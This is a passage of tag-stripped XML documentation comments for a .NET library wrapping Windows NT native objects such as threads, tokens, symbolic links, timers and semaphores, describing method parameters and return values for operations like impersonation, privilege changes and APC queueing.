The NT status code. + + + + Generate audit event for a privileges used with an object. + + The subsystem name. + Handle ID. + The client token used. + Desired access for the object. + Privileges used to open the object. + Specify whether access was granted. + + + + Generate audit event for a privileges used by a client. + + The subsystem name. + The client token used. + The name of the service. + Privileges used in the operation. + Specify whether access was granted. + True to throw on error. + The NT status code. + + + + Generate audit event for a privileges used by a client. + + The subsystem name. + The client token used. + The name of the service. + Privileges used in the operation. + Specify whether access was granted. + + + + Perform a capability check for a token. + + Specify the token handle. If null will use the effective token. + The name of the capability to check. + True to throw on error. + True if the token has the capability. + + + + Perform a capability check for a token. + + Specify the token handle. If null will use the effective token. + The name of the capability to check. + True if the token has the capability. + + + + Get GenericMapping for standard access rights. + + + + + Security information class for security descriptors. + + + + + ACE Flags. Note that the value isn't completely the same as + the real flags. + + + + + Class to represent a NT Semaphore object. + + + + + Create a semaphore object. + + The object attributes for the object + The desired access for the object + Initial count for semaphore + Maximum count for semaphore + True to throw an exception on error. + The NT status code and object result. + + + + Create a semaphore object. + + The object attributes for the object + The desired access for the object + Initial count for semaphore + Maximum count for semaphore + The opened object + + + + Create a semaphore object. + + The path to the object + The root if path is relative + Initial count for semaphore + /// Maximum count for semaphore + The opened object + + + + Open a semaphore object. + + The object attributes for the object + The desired access for the object + True to throw an exception on error. + The NT status code and object result. + + + + Open a semaphore object. + + The object attributes for the object + The desired access for the object + The opened object + + + + Open a semaphore object. + + The path to the object + The root if path is relative + The desired access for the object + The opened object + + + + Release the semaphore + + The release count + The previous count + + + + Release the semaphore + + The release count + True to throw an exception on error. + The previous count + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Current count of the semaphore. + + + + + Maximum count of the semaphore. + + + + + Semaphore access rights. + + + + + Class to represent a Session object + + + + + Open a session object. + + The object attributes + Desired access for the object + True to throw on error. + The open result. + + + + Open a session object. + + The object attributes + Desired access for the object + The open result. + + + + Open a session object. + + Name of the object + Optional root directory for lookup + Desired access for the object + The open result. + + + + NT status values + + + + + Class representing a NT SymbolicLink object + + + + + Create a symbolic link object. + + The path to the object + The root if path is relative + The desired access for the object + The target path + The opened object + + + + Create a symbolic link object. + + The object attributes for the object + The desired access for the object + The target path + True to throw an exception on error. + The NT status code and object result. + + + + Create a symbolic link object. + + The object attributes for the object + The desired access for the object + The target path + The opened object + + + + Create a symbolic link object. + + The path to the object + The root if path is relative + The target path + The opened object + + + + Create a symbolic link object. + + The path to the object + The target path + The opened object + + + + Open a symbolic link object. + + The path to the object + The root if path is relative + The desired access for the object + The opened object + + + + Open a symbolic link object. + + The path to the object + The root if path is relative + The desired access for the object + True to throw on error. + The opened object + + + + Open a symbolic link object. + + The object attributes for the object + The desired access for the object + True to throw an exception on error. + The NT status code and object result. + + + + Open a symbolic link object. + + The object attributes for the object + The desired access for the object + The opened object + + + + Open a symbolic link object. + + The path to the object + The root if path is relative + The opened object + + + + Open a symbolic link object. + + The path to the object + The opened object + + + + Resolve a symlink name to a final target. + + The name of the symlink to resolve. + True to throw on error. + The final target. + This function will return the last name which returns STATUS_OBJECT_TYPE_MISMATCH. Anything else is an error. + + + + Resolve a symlink name to a final target. + + The name of the symlink to resolve. + The final target. + This function will return the last name which returns STATUS_OBJECT_TYPE_MISMATCH. Anything else is an error. + + + + Get the symbolic link target. + + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Set access mask filter. + + The access mask to set. + True to throw on error. + The NT status code. + Needs SeTcbPrivilege. + + + + Set access mask filter. + + The access mask to set. + Needs SeTcbPrivilege. + + + + Set as a global link. + + True to throw on error. + The NT status code. + Needs SeTcbPrivilege. + + + + Set as a global link. + + Needs SeTcbPrivilege. + + + + Get the symbolic link target path. + + True to throw on error. + The target path. + + + + Class to access some NT system information + + + + + Get a list of handles + + A process ID to filter on. If -1 will get all handles + True to allow the handles returned to query for certain properties + True to force all file names to be queried. Otherwise limits to only DISK files. + The list of handles + The purpose of force_file_name to disable querying a file handle for its path unless it's on a FS volume. + This is because some non-file types can be in a locked state which causes the filename lookup to hang. + + + + Get a list of handles + + A process ID to filter on. If -1 will get all handles + True to allow the handles returned to query for certain properties + The list of handles + + + + Get a list of all handles + + The list of handles + + + + Get a list of threads for a specific process. + + The process ID to list. + True to throw on error. + The list of thread information. + + + + Get a list of threads for a specific process. + + The process ID to list. + The list of thread information. + + + + Get a list of all threads. + + The list of thread information. + + + + Get a list of all threads. + + The list of thread information. + + + + Get a list of threads for a specific process. + + The process ID to list. + True to throw on error. + The list of thread information. + + + + Get a list of threads for a specific process. + + The process ID to list. + The list of thread information. + + + + Get a list of all threads. + + The list of thread information. + + + + Get a list of all threads. + + The list of thread information. + + + + Get all process information for the system. + + The list of process information. + + + + Get all process information for the system. + + True to throw on error. + The list of process information. + + + + Get all process information for the system. + + The list of process information. + + + + Get all process information for the system. + + True to throw on error. + The list of process information. + + + + Get all process information for the system. + + The list of process information. + + + + Get all process information for the system. + + True to throw on error. + The list of process information. + + + + Get list of page filenames. + + The list of page file names. + + + + Create a kernel dump for current system. + + The path to the output file. + Flags + Page flags + + + + Query all system environment value names. + + A list of names of environment values + + + + Query all system environment value names and values. + + A list of names of environment values + + + + Query a single system environment value. + + The name of the value. + The associated vendor guid + True to throw on error. + The system environment value. + + + + Query a single system environment value. + + The name of the value. + The associated vendor guid + The system environment value. + + + + Set a system environment variable. + + The name of the variable. + The vendor GUID + The value to set + Attributes of the value + + + + Set a system environment variable. + + The name of the variable. + The vendor GUID + The value to set + Attributes of the value + + + + Set a system environment variable. + + The name of the variable. + The vendor GUID + The value to set + Attributes of the value + + + + Set a system environment variable. + + The name of the variable. + The vendor GUID + The value to set + Attributes of the value + + + + Allocate a LUID. + + The allocated LUID. + + + + Allocate a LUID. + + The allocated LUID. + + + + Get the addresses of a list of objects from the handle table and initialize the Address property. + + The list of objects to initialize. + + + + Get the address of an object in kernel memory from the handle table and initialize the Address property. + + The object. + + + + Get the address of an object in kernel memory from the handle table and initialize the Address property. + + The object. + Any remaining objects. + + + + Query whether a file is trusted for dynamic code. + + The handle to a file to query. + Pointer to a memory buffer containing the image. + The size of the in-memory buffer. + True if the file is trusted. + + + + Query whether a file is trusted for dynamic code. + + Pointer to a memory buffer containing the image. + The status code from the operation. Returns STATUS_SUCCESS is valid. + + + + Query whether a file is trusted for dynamic code. + + The handle to a file to query. + The status code from the operation. Returns STATUS_SUCCESS is valid. + + + + Set a file is trusted for dynamic code. + + The handle to a file to set. + The status code from the operation. + + + + Get list of root silos. + + The list of root silos. + + + + Set the ELAM certificate information. + + The signed file containing an ELAM certificate resource. + The NT status code. + + + + Query code integrity certificate information. + + The image file. + The type of check to make. + The NT status code. + + + + Query the image path from a process ID. + + The ID of the process. + True to throw on error. + The image path. + This method can be called without any permissions on the process. + + + + Query the image path from a process ID. + + The ID of the process. + The image path. + This method can be called without any permissions on the process. + + + + Get flags for isolated user mode. + + True to throw on error. + The ISO flags. + + + + Query a fixed structure from the object. + + The type of structure to return. + The information class to query. + A default value for the query. + True to throw on error. + The result of the query. + Thrown on error. + + + + Query a fixed structure from the object. + + The type of structure to return. + The information class to query. + A default value for the query. + The result of the query. + Thrown on error. + + + + Query a fixed structure from the object. + + The type of structure to return. + The information class to query. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object. + + The type of structure to return. + The information class to query. + A default value for the query. + True to throw on error. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object. + + The information class to query. + A buffer to initialize the initial query. Can be null. + True to throw on error. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object. + + The information class to query. + A buffer to initialize the initial query. Can be null. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object. + + The information class to query. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object and return as bytes. + + The information class to query. + A buffer to initialize the initial query. Can be null. + True to throw on error. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object and return as bytes. + + The information class to query. + A buffer to initialize the initial query. Can be null. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object and return as bytes. + + The information class to query. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object. + + The type of structure to return. + The information class to query. + A default value for the query. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object. + + The type of structure to return. + The information class to query. + The result of the query. + Thrown on error. + + + + Set a value to the object. + + The type of structure to set. + The information class to set. + The value to set. If you specify a SafeBuffer then it'll be passed directly. + True to throw on error. + The NT status code of the set. + Thrown on error. + + + + Set a value to the object. + + The type of structure to set. + The information class to set. + The value to set. + The NT status code of the set. + Thrown on error. + + + + Set a value to the object from a buffer. + + The information class to set. + The value to set. + True to throw on error. + The NT status code of the set. + Thrown on error. + + + + Set a value to the object from a buffer.. + + The information class to set. + The value to set. + The NT status code of the set. + Thrown on error. + + + + Set a raw value to the object. + + The information class to set. + The raw value to set. + True to throw on error. + The NT status code of the set. + Thrown on error. + + + + Set a raw value to the object. + + The information class to set. + The raw value to set. + The NT status code of the set. + Thrown on error. + + + + Draw text on the background. + + The text to draw. + True to throw on error. + The NT status code. + + + + Draw text on the background. + + The text to draw. + + + + Display a string. + + The text to display. + True to throw on error. + The NT status code. + + + + Display a string. + + The text to display. + + + + Load a driver. + + The name of the driver service. + True to throw on error. + The NT status code. + + + + Unload a driver. + + The name of the driver service. + True to throw on error. + The NT status code. + + + + Get kernel modules. + + True to throw on error. + The list of kernel modules. + + + + Get kernel modules. + + The list of kernel modules. + + + + Get whether the kernel debugger is enabled. + + + + + Get whether the kernel debugger is not present. + + + + + Get current code integrity option settings. + + + + + Get code integrity policy. + + + + + Get code integrity unlock information. + + + + + Get all code integrity policies. + + + + + Get whether secure boot is enabled. + + + + + Get whether system supports secure boot. + + + + + Extract the secure boot policy. + + + + + Get system timer resolution. + + + + + Get system page size. + + + + + Get number of physical pages. + + + + + Get lowest page number. + + + + + Get highest page number. + + + + + Get allocation granularity. + + + + + Get minimum user mode address. + + + + + Get maximum user mode address. + + + + + Get active processor affinity mask. + + + + + Get number of processors. + + + + + Get system device information. + + + + + Get the system processor information. + + + + + Get the system emulation processor information. + + + + + Get the Isolated User Mode flags. + + + + + Get the NT product type. + + + + + + Get OS version info, + + + + + Get whether this is a multi-session SKU. + + True if multi-session. + + + + Get whether this there are multiple users in a session. + + True if multi-session. + + + + Query the system elevation flags. + + + + + Class to represent a NT Thread object + + + + + Create a new thread in a process. + + The object attributes for the thread object. + Desired access for the handle. + Process to create the thread in. + Address of the start routine. + Argument to pass to the thread. + Creation flags. + Zero bits for the stack address. + Size of the committed stack. + Maximum reserved stack size. + Optional attribute list. + True to throw on error + The created thread object. + This creates a native thread, not a Win32 thread. This might cause unexpected things to fail as they're not initialized. + + + + Create a new thread in a process. + + The object attributes for the thread object. + Desired access for the handle. + Process to create the thread in. + Address of the start routine. + Argument to pass to the thread. + Creation flags. + Zero bits for the stack address. + Size of the committed stack. + Maximum reserved stack size. + Optional attribute list. + The created thread object. + This creates a native thread, not a Win32 thread. This might cause unexpected things to fail as they're not initialized. + + + + Create a new thread in a process. + + Process to create the thread in. + Address of the start routine. + Argument to pass to the thread. + Creation flags. + Size of the committed stack. + True to throw on error + The created thread object. + This creates a native thread, not a Win32 thread. This might cause unexpected things to fail as they're not initialized. + + + + Create a new thread in a process. + + Process to create the thread in. + Address of the start routine. + Argument to pass to the thread. + Creation flags. + Size of the committed stack. + The created thread object. + This creates a native thread, not a Win32 thread. This might cause unexpected things to fail as they're not initialized. + + + + Open a thread + + The process ID containing the thread. + The thread ID to open + The desired access for the handle + True to throw an exception on error. + The NT status code and object result. + + + + Open a thread + + The thread ID to open + The desired access for the handle + True to throw an exception on error. + The NT status code and object result. + + + + Open a thread + + The process ID containing the thread. + The thread ID to open + The desired access for the handle + The NT status code and object result. + + + + Open a thread + + The thread ID to open + The desired access for the handle + The opened object + + + + Gets all accessible threads on the system. + + The desired access for each thread. + Get the thread list from system information. + The list of accessible threads. + + + + Gets all accessible threads on the system. + + The desired access for each thread. + The list of accessible threads. + + + + Get first thread for process. + + The process handle to get the threads. + The desired access for the thread. + The first thread, or null if no more available. + + + + Sleep the current thread + + Set if the thread should be alertable + The delay, negative values indicate relative times. + True to throw on error. + STATUS_ALERTED if the thread was alerted, other success or error code. + + + + Sleep the current thread + + Set if the thread should be alertable + The delay, negative values indicate relative times. + True if the thread was alerted before the delay expired. + + + + Sleep the current thread + + Set if the thread should be alertable + The delay, negative values indicate relative times. + True if the thread was alerted before the delay expired. + + + + Sleep the current thread for a specified number of milliseconds. + + The delay in milliseconds. + True if the thread was alerted before the delay expired. + + + + Open an actual handle to the current thread rather than the pseudo one used for Current + + The thread object + + + + Set the work on behalf ticket. + + The ticket to set. + True to throw on error. + The status code from the set. + + + + Set the work on behalf ticket. + + The ticket to set. + + + + Set the work on behalf ticket. + + The ticket to set. + True to throw on error. + The status code from the set. + + + + Set the work on behalf ticket. + + The ticket to set. + + + + Set the work on behalf ticket. + + The thread ID. + True to throw on error. + The NT status. + + + + Set the work on behalf ticket. + + The thread ID. + + + + Test alert status for the current thread. + + True to throw on error. + The NT status code. + + + + Test alert status for the current thread. + + + + + Attach a silo container to the current thread. + + The silo to attach. + True to throw on error. + The thread impersonation context. + + + + Attach a silo container to the current thread. + + The silo to attach. + The thread impersonation context. + + + + Detach container from the current thread. + + True to throw on error. + The NT status code. + + + + Detach container from the current thread. + + + + + Get XOR key for the work-on-behalf ticket. + + True to throw on error. + The XOR key. + + + + Get the current thread. + + This only uses the pseudo handle, for the thread. You can't use it in different threads. If you need to do that use OpenCurrent. + + + + + Get or set the work on behalf ticket for the current thread. + + + + + Get the work on behalf ticket xor key. + + + + + Reopen object with different access rights. + + The desired access. + Additional attributes for open. + True to throw on error. + The reopened object. + + + + Resume the thread. + + True to throw on error. + The suspend count + + + + Resume the thread. + + The suspend count + + + + Suspend the thread. + + True to throw on error. + The suspend count + + + + Suspend the thread + + The suspend count + + + + Terminate the thread + + True to throw on error. + The thread status exit code + The NT status code. + + + + Terminate the thread + + The thread status exit code + + + + Wake the thread from an alertable state. + + True to throw on error. + The NT status code. + + + + Wake the thread from an alertable state. + + + + + Wake the thread from an alertable state and resume the thread. + + True to throw on error. + The previous suspend count for the thread. + + + + Wake the thread from an alertable state and resume the thread. + + The previous suspend count for the thread. + + + + Hide the thread from debug events. + + True to throw on error. + The NT status code. + + + + Hide the thread from debug events. + + + + + The set the thread's impersonation token + + The impersonation token to set + True to throw on error. + The NT status code. + + + + The set the thread's impersonation token + + The impersonation token to set + + + + Impersonate the anonymous token + + True to throw on error. + The impersonation context. Dispose to revert to self + + + + Impersonate the anonymous token + + The impersonation context. Dispose to revert to self + + + + Impersonate a token + + True to throw on error. + The token to impersonate. + The impersonation context. Dispose to revert to self + + + + Impersonate a token + + The token to impersonate. + The impersonation context. Dispose to revert to self + + + + Impersonate another thread. + + The thread to impersonate. + The impersonation security quality of service. + True to throw on error. + The imperonsation context. Dispose to revert to self. + + + + Impersonate another thread's security context. + + The thread to impersonate. + The impersonation level for the token. + True to throw on error. + The imperonsation context. Dispose to revert to self. + + + + Impersonate another thread's security context. + + The thread to impersonate. + The impersonation level for the token. + The imperonsation context. Dispose to revert to self. + + + + Impersonate another thread's security context at impersonation level. + + The thread to impersonate. + True to throw on error. + The imperonsation context. Dispose to revert to self. + + + + Impersonate another thread's security context at impersonation level. + + The thread to impersonate. + The imperonsation context. Dispose to revert to self. + + + + Open the thread's token + + The token, null if no token available + + + + Queue a special user APC to the thread. + + The APC callback pointer. + Context parameter. + System argument 1. + System argument 2. + True to throw on error. + The NT status code. + + + + Queue a special user APC to the thread. + + The APC callback pointer. + Context parameter. + System argument 1. + System argument 2. + The NT status code. + + + + Queue a special user APC to the thread. + + The APC callback pointer. + Context parameter. + System argument 1. + System argument 2. + True to throw on error. + The NT status code. + + + + Queue a special user APC to the thread. + + The APC callback pointer. + Context parameter. + System argument 1. + System argument 2. + The NT status code. + + + + Queue a user APC to the thread. + + The APC callback pointer. + Context parameter. + System argument 1. + System argument 2. + True to throw on error. + The NT status code. + + + + Queue a user APC to the thread. + + The APC callback pointer. + Context parameter. + System argument 1. + System argument 2. + + + + Queue a user APC to the thread. + + The APC callback delegate. + Context parameter. + System argument 1. + System argument 2. + True to throw on error. + The NT status code. + This is only for APCs in the current process. You also must ensure the delegate is + valid at all times as this method doesn't take a reference to the delegate to prevent it being + garbage collected. + + + + Queue a user APC to the thread. + + The APC callback delegate. + Context parameter. + System argument 1. + System argument 2. + This is only for APCs in the current process. You also must ensure the delegate is + valid at all times as this method doesn't take a reference to the delegate to prevent it being + garbage collected. + + + + Get next thread for process relative to current thread. + + The process handle to get the threads. + The desired access for the thread. + The next thread, or null if no more available. + + + + Get the thread context. + + Flags for context parts to get. + True to throw on error. + An instance of an IContext object. Needs to be cast to correct type to access. + + + + Get the thread context. + + Flags for context parts to get. + An instance of an IContext object. Needs to be cast to correct type to access. + + + + Set the thread's context. + + The thread context to set. + True to throw on error. + The NT status code. + + + + Set the thread's context. + + The thread context to set. + + + + Get current waiting server information. + + True to throw on error. + The thread ALPC server information. + + + + Get current waiting server information. + + The thread ALPC server information. + + + + Get the process ID associated with the thread. + + True to throw on error. + The process ID. + + + + Get the thread ID. + + True to throw on error. + The thread ID. + + + + Cancel all synchronous IO for this thread. + + True to throw on error. + The NT status. + + + + Get a partial TEB for the thread. + + The partial TEB. + + + + Get the work on behalf ticket for a thread. + + True to throw on error. + The work on behalf ticket. + + + + Get the work on behalf ticket for a thread. + + The work on behalf ticket. + + + + Get the effective container ID for the thread. + + True to throw on error. + The effective container ID. + + + + Get priority boost disable value. + + True to throw on error. + True if priority base + + + + Set priority boost disable value. + + True to disable priority boost. + True to throw on error. + The NT status code. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Get thread ID + + + + + Get process ID + + + + + Get name of process. + + + + + Get or set the thread's current priority + + + + + Get or set the thread's base priority + + + + + Get or set the thread's affinity mask. + + + + + Get the thread's TEB base address. + + + + + Get or set whether thread is allowed to create dynamic code. + + Set can only be done on the current thread. + + + + Get whether thread is impersonating another token. + + Note that this tries to open the thread's token and return true if it could open. A return of false + might just indicate that the caller doesn't have permission to open the token, not that it's not impersonating. + + + + Get name of the thread. + + + + + Get or set a thread's description. + + + + + Get the Win32 start address for the thread. + + + + + Get the current Instruction Pointer for the thread. + + + + + Get last system call on the thread. + + + + + Get the thread's suspend count. + + + + + Get whether the thread has pending IO. + + + + + Get the creation time of the thread. + + + + + Get the exit time of the thread (0 if not exited) + + + + + Get the time spent in the kernel. + + + + + Get the time spent in user mode. + + + + + Get thread information. + + + + + Get thread exit status. + + + + + Get thread exit status. + + + + + Get the effective container ID. + + Should be called on the current thread psuedo handle. + + + + Get or set priority boost disabled. + + + + + Delegate for APC callbacks. + + Context parameter. + System argument 1. + System argument 2. + + + + Class to represent an NT Timer object + + + + + Create a timer object + + The path to the event + The root object for relative path names + The type of the timer. + The timer object + + + + Create a timer object + + The timer object attributes + The type of the event + The desired access for the timer + The timer object + + + + Create a timer object + + The timer object attributes + The type of the timer + The desired access for the timer + True to throw an exception on error. + The NT status code and object result. + + + + Create a timer object + + The path to the timer + The type of the timer + The timer object + + + + Create a timer object + + The type of the timer + The timer object + + + + Create a timer object + + The timer object + + + + Open a timer object + + The path to the timer + The root object for relative path names + The desired access for the timer + The timer object + + + + Open a timer object + + The path to the timer + The root object for relative path names + The desired access for the timer + True to throw on error. + The timer object + + + + Open a timer object + + The timer object attributes + The desired access for the timer + The timer object. + + + + Open a timer object + + The event object attributes + The desired access for the timer + True to throw an exception on error. + The NT status code and object result. + + + + Open a timer object + + The path to the timer + The root object for relative path names + The timer object + + + + Open a timer object + + The path to the timer + The timer object + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Set timer state. + + The due time for the timer. + Optional APC routine. + Optional APC context pointer. + True to resume. + Period time. + True throw on error. + The NT result and previous state. + + + + Set timer state. + + The due time for the timer. + Optional APC routine. + Optional APC context pointer. + True to resume. + Period time. + The previous state. + + + + Set timer state. + + The due time for the timer. + The previous state. + + + + Set timer state in milliseconds. + + The due time for the timer in milliseconds. + The previous state. + + + + Cancel the timer. + + True to throw on error. + The previous state. + + + + Cancel the timer. + + The previous state. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Remaining time for the timer. + + + + + Signal state of the timer. + + + + + Delegate for Timer APC callbacks. + + Context parameter. + Low value of timer. + High value of timer. + + + + Enumeration for querying group list using QueryGroups. + + + + + The default group list. + + + + + The restrict group list. + + + + + The capability group list. + + + + + The device group list. + + + + + The restricted device list. + + + + + Specify type of security attributes to query. + + + + + Local security attributes. + + + + + User security attributes. + + + + + Restricted user security attributes. + + + + + Device security attributes. + + + + + Restricted device security attributes. + + + + + Singleton device security attributes. + + + + + Data from the TSA://ProcUnique security attribute. + + + + + The index entry for the process. + + + + + The value for the entry. + + + + + Class representing a Token object + + + + + Duplicate token as specific type. + + The token type + The impersonation level us type is Impersonation + Open with the desired access. + The object attributes for the token. + The security descriptor for the token. + If true then throw an exception on error. + The new token + Thrown on error + + + + Duplicate token as specific type. + + The token type + The impersonation level us type is Impersonation + Open with the desired access. + The object attributes for the token. + The security descriptor for the token. + The new token + Thrown on error + + + + Duplicate token as specific type. + + The token type + The impersonation level us type is Impersonation + Open with the desired access. + If true then throw an exception on error. + The new token + Thrown on error + + + + Duplicate token as specific type + + The token type + The impersonation level us type is Impersonation + Open with the desired access. + The new token + Thrown on error + + + + Duplicate the token as the same token type. + + The new token. + Thrown on error + + + + Duplicate the token as the same token type. + + True to throw on error. + The new token. + Thrown on error + + + + Duplicate token as an impersonation token with a specific level + + The token impersonation level + The new token + Thrown on error + + + + Set a privilege state + + The name of the privilege (e.g. SeDebugPrivilege) + True to enable the privilege, false to disable + True to throw on error. + True if successfully changed the state of the privilege + + + + Set a privilege state + + The name of the privilege (e.g. SeDebugPrivilege) + True to enable the privilege, false to disable + True if successfully changed the state of the privilege + + + + Set a privilege state + + The luid of the privilege + The privilege attributes to set. + True to throw on error. + True if successfully changed the state of the privilege + + + + Set a privilege state + + The luid of the privilege + The privilege attributes to set. + True if successfully changed the state of the privilege + + + + Set a privilege state + + The value of the privilege + The privilege attributes to set. + True to throw on error. + True if successfully changed the state of the privilege + + + + Set a privilege state + + The value of the privilege + The privilege attributes to set. + True if successfully changed the state of the privilege + + + + Remove a privilege. + + The value of the privilege to remove. + True if successfully removed the privilege. + + + + Remove a privilege. + + The LUID of the privilege to remove. + True if successfully removed the privilege. + + + + Create a LowBox token from the current token. + + The package SID + The created LowBox token. + Thrown on error. + + + + Create a LowBox token from the current token. + + The package SID + List of handles to capture with the token + The created LowBox token. + Thrown on error. + + + + Create a LowBox token from the current token. + + The package SID + List of handles to capture with the token + List of capability sids to add. + Desired token access. + The created LowBox token. + Thrown on error. + + + + Filter a token to remove groups/privileges and add restricted SIDs + + Filter token flags + List of SIDs to disable + List of privileges to delete + List of restricted SIDs to add + The new token. + + + + Filter a token to remove groups/privileges and add restricted SIDs + + Filter token flags + List of SIDs to disable + List of privileges to delete + List of restricted SIDs to add + The new token. + + + + Filter a token to remove privileges and groups. + + Filter token flags + The new filtered token. + + + + Set the state of a group + + The group SID to set + The attributes to set + + + + Set the state of a group + + The group SID to set + The attributes to set + True to throw on error. + The NT status code. + + + + Set the state of a group + + The groups to set + The attributes to set + True to throw on error. + The NT status code. + + + + Set the state of a group + + The groups to set + The attributes to set + + + + Reset all groups to their default state. + + True to throw on error. + The NT status code. + + + + Reset all groups to their default state. + + + + + Set the session ID of a token + + The session ID + + + + Set a token's default DACL + + The DACL to set. + + + + Set the origin logon session ID. + + The origin logon session ID. + + + + Set virtualization enabled + + True to enable virtualization + True to throw on error. + + + + Set virtualization enabled + + True to enable virtualization + + + + Set UI Access flag. + + True to enable UI Access. + + + + Get the linked token + + True to throw on error. + The linked token + + + + Get the linked token + + The linked token + + + + Set the linked token. + + The token to set. + Requires SeCreateTokenPrivilege. + + + + Impersonate the token. + + An impersonation context, dispose to revert to process token + Thrown on error. + + + + Impersonate the token. + + Impersonation level for token. + An impersonation context, dispose to revert to process token + Thrown on error. + + + + Run a function under impersonation. + + The return type. + The callback to run. + The return value from the callback. + Thrown on error. + + + + Run an action under impersonation. + + The callback to run. + Thrown on error. + + + + Run a function under impersonation. + + The return type. + The callback to run. + Impersonation level for token. + The return value from the callback. + Thrown on error. + + + + Run an action under impersonation. + + The callback to run. + Impersonation level for token. + Thrown on error. + + + + Get a security attribute by name. + + Specify the type of security attributes to query. + The name of the security attribute, such as WIN://PKG + The expected type of the security attribute. If None return ignore type check. + The security attribute or null if not found. + + + + Get a security attribute by name. + + The name of the security attribute, such as WIN://PKG + The expected type of the security attribute. If None return ignore type check. + The security attribute or null if not found. + + + + Get a security attribute by name. + + The name of the security attribute, such as WIN://PKG + The security attribute or null if not found. + + + + Get token's security attributes + + Specify the type of security attributes to query. + Throw on error. + The security attributes. + + + + Get token's security attributes. + + Throw on error. + The security attributes. + + + + Get token's security attributes + + Specify the type of security attributes to query. + The security attributes. + + + + Get token's security attributes + + The security attributes. + + + + Set security attributes on the token. + + The list of attributes. + The operation to perform on the attribute. + Throw on error. + The array of attributes aand operations must be the same size. You need SeTcbPrivilege to call this API. + The NT Status code. + + + + Set security attributes on the token. + + The list of attributes. + The operation to perform on the attribute. + The array of attributes aand operations must be the same size. You need SeTcbPrivilege to call this API. + + + + Add security attributes to the token. + + The list of attributes. + Throw on error. + You need SeTcbPrivilege to call this API. + The NT Status code. + + + + Add security attributes to the token. + + The list of attributes. + You need SeTcbPrivilege to call this API. + + + + Replace security attributes in the token. + + The list of attributes. + Throw on error. + You need SeTcbPrivilege to call this API. + The NT Status code. + + + + Replace security attributes in the token. + + The list of attributes. + You need SeTcbPrivilege to call this API. + + + + Replace all security attributes in the token. + + The list of attributes. + Throw on error. + You need SeTcbPrivilege to call this API. + The NT Status code. + + + + Replace security attributes in the token. + + The list of attributes. + You need SeTcbPrivilege to call this API. + + + + Remove security attributes by name. + + The attribute names to remove. + Throw on error. + The NT Status code. + + + + Remove security attributes by name. + + The attribute names to remove. + + + + Set the token's integrity level. + + The level to set. + + + + Set the token's integrity level. + + The level to set. + + + + Get the state of a privilege. + + The privilege to get the state of. + The privilege, or null if it can't be found + Thrown if can't query privileges + + + + Get the state of a privilege. + + The privilege to get the state of. + The privilege, or null if it can't be found + True to throw on error + Thrown if can't query privileges + + + + Compare two tokens. + + The other token to compare. + True if tokens are equal. + + + + Get the App Policy for this token. + + The type of app policy. + The policy value. + + + + Disable No Child process policy on the token. + + Needs SeTcbPrivilege. + + + + Query a list of groups from the token. + + The type of groups to query. + True to throw on error. + The list of groups. + + + + Query a list of groups from the token. + + The type of groups to query. + The list of groups. + + + + Get the user from the token. + + True to throw on error. + The user group information. + + + + Do a privilege check on a token. + + The list of privileges to check. + True to require all necessary privileges. + True to throw on error. + The privilege check result. + + + + Do a privilege check on a token. + + The list of privileges to check. + True to require all necessary privileges. + The privilege check result. + + + + Do a privilege check on a token. + + The list of privileges to check. + True to require all necessary privileges. + True to throw on error. + The privilege check result. + + + + Do a privilege check on a token. + + The list of privileges to check. + True to require all necessary privileges. + The privilege check result. + + + + Do a privilege check for a single privilege. + + The privilege to check. + True if the privilege is enabled. + + + + Do a privilege check for a single privilege. + + The privilege to check. + True if the privilege is enabled. + + + + Get token privileges. + + True to throw on error. + The list of privileges. + + + + Perform a capability check for a token. + + The name of the capability to check. + True to throw on error. + True if the token has the capability. + + + + Perform a capability check for a token. + + The name of the capability to check. + True if the token has the capability. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Get the logon SID for the token. + + True to throw on error. + The logon SID. + + + + Get token user + + + + + Get token groups + + + + + Get list of enabled groups. + + + + + Get list of deny only groups. + + + + + Get count of groups in this token. + + + + + Get the authentication ID for the token + + + + + Get the token's type + + + + + Get the token's expiration time. + + + + + Get the Token's Id + + + + + Get the Token's modified Id. + + + + + Get/set the token's owner. + + + + + Get/set the token's primary group + + + + + Get/set the token's default DACL + + + + + Get the token's source + + + + + Get token's restricted sids + + + + + Get count of restricted sids + + + + + Get token's impersonation level + + + + + Get/set token's session ID + + + + + Get whether token has sandbox inert flag set. + + + + + Get/set token's origin + + + + + Get token's elevation type + + + + + Get whether token is elevated + + + + + Get whether token has restrictions + + + + + Get/set token UI access flag + + + + + Get or set whether virtualization is allowed + + + + + Get/set whether virtualization is enabled + + + + + Get whether token is restricted + + + + + Get whether token is write restricted. + + + + + Get whether token is filtered. + + + + + Get whether token is not low. + + + + + Token access flags. + + + + + Get whether token can be used for new child processes. + + + + + Get token capabilities. + + + + + Get or set the token mandatory policy + + + + + Get token logon sid + + + + + Get token's integrity level sid + + + + + Get token's App Container number. + + + + + Get or set token's integrity level. + + + + + Get token's security attributes + + + + + Get token's device claims. + + + + + Get token's user claims. + + + + + Get token's restricted user claims. + + Unsupported, at least on Windows 10. + + + + Get token's restricted user claims. + + Unsupported, at least on Windows 10. + + + + Get whether a token is an AppContainer token + + + + + Get whether the token is configured for low privilege. + + + + + Get token's AppContainer sid + + + + + Get token's AppContainer package name (if available). + Returns 